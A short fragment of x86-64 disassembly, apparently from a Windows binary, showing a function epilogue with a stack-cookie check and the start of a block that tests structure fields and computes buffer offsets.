mov rcx, qword [rsp + 0x40]
mov r8d, r14d
mov qword [rsp + 0x20], rax
call fcn.140004190
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.14000fa10
add rsp, 0x1078
pop r14
pop r13
pop rbp
pop rbx
ret
mov eax, dword [rbx + 0xc]
test eax, eax
je 0x14000443c
mov ecx, dword [rbx + 8]
lea rdx, [rsp + 0x50]
add rdx, rax
je 0x14000443c
test ecx, ecx
je 0x14000443c
lea rax, [rsp + 0x50]
mov r14d, ecx
sub rdx, rax
add rdx, r13
jmp 0x140004462